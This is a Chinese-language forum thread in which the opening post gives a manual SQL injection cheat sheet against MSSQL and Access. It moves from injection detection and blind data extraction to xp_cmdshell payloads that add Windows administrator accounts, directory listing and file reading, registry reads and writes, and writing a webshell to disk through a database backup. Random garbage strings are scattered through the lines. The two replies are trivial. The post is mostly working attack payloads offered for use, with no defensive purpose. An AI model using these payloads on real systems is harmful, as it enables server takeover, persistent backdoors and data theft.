社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4015阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 JMS(9>+TA  
  2.初步判断是否是mssql ;and user>0 j}AFE  
"9bN+1[<  
  3.注入参数是字符'and [查询条件] and ''=' 9P<[7u  
_"%B7FK  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' zA;@@)hwR  
Na\WZSu'"  
  5.判断数据库系统 atW'  
Go&D[#  
  ;and (select count(*) from sysobjects)>0 mssql @y/wEBb  
_HA$ j2  
  ;and (select count(*) from msysobjects)>0 access Jy aag-  
Jz!Z2c  
-.|4Y#b:&  
\Fe_rh  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 :Yj) CGl$  
\i[BP  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 \bx~*FaX  
3s>'hn  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 "z*:'8;E  
?~QIALA  
  9.(1)猜字段的ascii值(access) U5]pi+r  
x5Z-{"  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 )*5G">))p  
i0s6aAhgJ  
  (2)猜字段的ascii值(mssql) zLD|/`  
$y?k[Y-~  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 G3G6IP  
=9LC<2  
  10.测试权限结构(mssql) f):~8_0b  
R4<lln:[  
z1!6%W_.  
o y<J6  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 2 /y}a#s  
oR*=|B  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- K$ v"Uk  
vLO&Lpv  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- /"ymZI!k\  
F#{gfh  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- (Bo bB]~a  
;p ]y)3  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- =_[Z W  
n tP|\E  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- - ~4+w  
SjdZyJa  
  ;and 1=(select IS_MEMBER('db_owner'));-- R1-k3;v^  
J@9}`y=K  
~^vC,]hU  
-K[782Q  
  11.添加mssql和系统的帐户 p[2GkP  
5=KF!?  
  ;exec master.dbo.sp_addlogin username;-- h~7,`fo  
  ;exec master.dbo.sp_password null,username,password;-- 0"g@!gSrQ  
YGsS4ia*4i  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- m/`IGT5J  
f '6|OsVQ  
  ;exec master.dbo.xp_cmdshell 'net user username password 5v^L9!`@%v  
qXXGF_Q  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- zEw >SP1,  
2>\\@ 1  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- 4 UAvw  
+^6}   
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- n$2RCQ  
\nqo%5XL  
&gc `<kLu  
hFvi 5I-b  
  12.(1)遍历目录 s{/qS3=  
XV'fW~j\  
  ;create table dirs(paths varchar(100), id int) T ^JuZG  
 l>v{  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' k:#6^!b1  
m h;X~.98  
  ;and (select top 1 paths from dirs)>0 NfE.N&vI_c  
[$ :  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 2@vj!U8  
FyG6 !t%  
$gp!w8h  
Poa?Ej  
  (2)遍历目录 F3ZxhkF  
H:a|x#"  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- LNQSb4  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 /'y5SlE[J  
?kt=z4h9(  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 J?P]EQU  
0zqj0   
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 m%QqmTH  
+zWrLf_Rc  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 i ilyw_$H  
|Vx~fKS\  
:G'xi2bs  
,m07p~,V  
  13.mssql中的存储过程 vW' 5 ` %  
b2h":G|s  
  xp_regenumvalues 注册表根键, 子键 WfGH|u  
lv:U%+A  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 #Y[H8TW  
J"[3~&em  
  xp_regread 根键,子键,键值名 =8{*@>CX  
8.I9}_  
  ;exec xp_regread a ]1i/3/  
,VD6s !(  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 5fHYc0  
,L-C(j  
  xp_regwrite 根键,子键, 值名, 值类型, 值 rrQ0qg  
\o9@>&2  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ?"@ET9  
P`sN&Y~m  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 o5#,\Y[ g  
5X;?I/9  
  xp_regdeletevalue 根键,子键,值名 Cnur"?w@o  
h Z#\t  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值  EW5]!%  
|' @[N,  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 J%4HNW*p  
-q(:%;  
G4yUC<TqBP  
{gIEZ{  
  14.mssql的backup创建webshell n49s3|#)G  
-eYL*Pa  
  use model nE<J`Wo$f  
RQ5P}A 3H  
  create table cmd(str image); K|~AA"I;  
u.&|CF-  
  insert into cmd(str) values (''); NlFo$Y  
a&:>Ped"  
  backup database model to disk='c:\l.asp'; /a%KS3>V*  
9<qx!-s2rr  
ZX]A )5G  
-$tCF>,  
  15.mssql内置函数 tnRJ#[Io  
'WnpwY  
  ;and (select @@version)>0 获得Windows的版本号 O<iI  
3AP YO  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa 6+#,=!hF{  
(6[Wr}SW5  
  ;and (select user_name())>0 爆当前系统的连接用户 (\q[gyR  
jQIV2TY[  
  ;and (select db_name())>0 得到当前连接的数据库 n@o  
4`G=q^GL,  
/^ QFqM;  
iXnx1w   
  16.简洁的webshell #?5VsD8  
@ YrGyq  
  use model 573~-Jvx  
j~$ )c)h"  
  create table cmd(str image); c8tP+O9  
p(7c33SyF  
  insert into cmd(str) values (''); dff#{  
^B6`e^ <  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五